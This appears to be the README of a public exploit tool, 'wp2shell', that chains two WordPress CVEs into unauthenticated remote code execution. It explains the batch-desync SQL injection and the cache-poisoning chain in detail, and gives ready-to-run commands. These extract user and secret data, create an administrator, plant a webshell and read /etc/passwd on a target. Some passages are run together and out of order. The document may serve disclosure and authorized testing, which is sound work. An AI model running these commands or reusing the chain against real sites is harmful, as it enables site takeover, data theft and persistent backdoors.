
PoC for CVE-2026-63030 + CVE-2026-60137, AKA WP2Shell
Pre-authentication remote code execution for WordPress 6.9.0–6.9.4 and 7.0.0–7.0.1.
Chains CVE-2026-63030 (batch route confusion SQLi) with CVE-2026-60137 (customizer changeset re-entry) to achieve unauthenticated administrator creation and OS command execution. No password cracking required.

Props to hashkitten for the discovery, read the full SLCyber technical analysis here.
WordPress's REST API batch processor (serve_batch_request_v1) has an off-by-one indexing bug: when wp_parse_url() fails on a sub-request path, the resulting WP_Error is pushed to $validation[] but not $matches[]. This desynchronizes the two arrays — every subsequent request is dispatched under the wrong handler.
By nesting a carefully structured batch inside another batch, an attacker can:
author__not_in (the string→array cast skips absint())UNION SELECT to poison WordPress's object cache with fake post objectsOnce setup is complete (discovering table prefix and admin ID), the escalation payload fires in a single HTTP request — cache poisoning, privilege escalation, and user creation all happen server-side in one round-trip.
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
Cache Poisoning (7 fake posts via UNION):
[embed] shortcode in its contentcustomize_changeset, status future, date in past)post_type=nav_menu_item for the is_nav_menu_item check)post_type=request, post_status=parse, parent=inner)Execution Flow:
[embed] shortcode fireswp_update_postwp_update_post reads the cached changeset (parent=outer) → hierarchy check detects Loop 1future status → auto-converts to publish_wp_customize_publish_changeset fires → wp_set_current_user(admin_id) → admin context activenav_menu_item[real_id] — cache says type=nav_menu_item → UPDATE pathobject_id resolves to a cached post with post_parent=re-entry → wp_update_post on real post$post_id) detects Loop 2 (re-entry ↔ inner)An anti-recursion MySQL session variable (@_wp2s) ensures the chain fires exactly once and doesn't loop.
--cleanup deletes the created user and removes the webshell on exitgit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
No pip install, no virtualenv. It's one file.
# Passive boolean oracle test
python3 wp2shell.py check http://target.com
# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users
# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i
# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
The check and read commands work on any affected target. The exploit chain has three additional requirements:
If the target uses Redis or Memcached as an object cache, split_the_query is forced on regardless of per_page, and UNION rows get discarded during the ID-only fetch. The read command still works (blind extraction doesn't need UNION to survive into the cache), but exploit will fail.
| Branch | Vulnerable | Fixed |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
The patch adds $matches[] = $single_request; for error cases (fixing the off-by-one) and a re-entry guard in serve_request().
wp2shell.py (single file, ~1650 lines)
├── Client HTTP transport with batch URL negotiation
├── Desync Nested batch payload construction
├── BlindExtractor Boolean binary search (universal)
├── UnionExtractor In-band via forged post_title (fastest)
├── ErrorExtractor EXTRACTVALUE-based (intermediate)
├── PoisonGraph Hierarchy loop structure for cache poisoning
├── Exploiter Chain orchestration (seed → extract → escalate)
└── AdminSession Authenticated session, webshell, cleanup
Why /wp/v2/widgets as the source route?
The Widgets controller does not register per_page, orderby, or author_exclude in its endpoint schema. These parameters pass validation untouched (unknown params are ignored by the schema validator). When the desync dispatches this request through the Posts controller, those raw values flow directly into WP_Query.
Why per_page=500?
class-wp-query.php:3375 — split_the_query requires !empty($limits) && posts_per_page < 500. With per_page=500, the condition 500 < 500 is false, so split_the_query is disabled. The full query (including UNION) executes as a single statement, and all injected rows survive into the result set and cache.
Why nav_menu_item[real_id] (positive ID)?
Using a positive post ID enters the UPDATE path at nav-menu.php:614, which calls wp_update_post with a non-zero $post_id. This is critical because wp_check_post_hierarchy_for_loops at post.php:8070 returns early when $post_id = 0 (new posts). The cache is poisoned with post_type=nav_menu_item for that ID so is_nav_menu_item() passes the type check at nav-menu.php:426. The UPDATE path then triggers the hierarchy check that detects Loop 2.
Why two hierarchy loops?
Loop 1 (changeset ↔ outer) triggers the changeset publish and sets admin context. Loop 2 (re-entry ↔ inner) fires during the admin window (inside the nav menu item setting's save() call in the changeset publish loop) and triggers parse_request → REST re-entry. The loops are independent because Loop 2's fix-up must write the re-entry post to DB during the admin window at line 3581 — before the reset at line 3589.
This tool is published for authorized security testing and research purposes. Only use it against systems you own or have explicit written authorization to test. Unauthorized access to computer systems is illegal.
Research and development by CryptoCat.
wp_update_post(re-entry) → writes type=request, status=parse to DBwp_transition_post_status fires do_action("parse_request") → rest_api_loaded() → serve_request()POST /wp/v2/users in the tail succeeds → administrator created → die()| Requirement | Why | Default WP? |
|---|
| At least one published post | oEmbed needs a local URL to trigger embed processing | Yes (Hello World) |
| No persistent object cache | Split-the-query must be disabled for UNION rows to survive | Yes (file cache default) |
| REST API accessible | Re-entry via parse_request needs the REST server | Yes |
| Direct filesystem write | Plugin upload needs FS_METHOD=direct or PHP owning wp-content | Yes (most hosts) |